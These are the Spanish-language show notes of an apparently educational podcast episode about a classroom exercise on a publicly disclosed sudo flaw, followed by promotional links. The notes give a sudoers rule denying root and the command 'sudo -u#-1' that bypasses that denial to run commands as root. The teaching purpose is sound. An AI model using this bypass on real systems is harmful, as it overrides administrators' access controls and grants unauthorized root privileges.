En este episodio os comento una actividad realizada con mis alumnos sobre una vulnerabilidad de Linux.

https://www.sudo.ws/alerts/minus_1_uid.html

si pones en el sudoers

una denegación explícita de ejecución como root

ana ALL=(ALL, !root) comando

(comando es cualquier comando u ALL para todos los comandos)

ahora si ana hace

sudo adduser pp, no le deja

pero si haces

sudo -u#-1 adduser , le deja

canal de Telegram: Mosqueteroweb en canal, https://t.me/mosqueterowebencanal

Amazon afiliados : https://amzn.to/2VAfFYz

Booking 10% https://booking.com/s/67_0/dfa8eb0e

Podcast Pedro el de la suerte: https://anchor.fm/s/1053b00/podcast/rss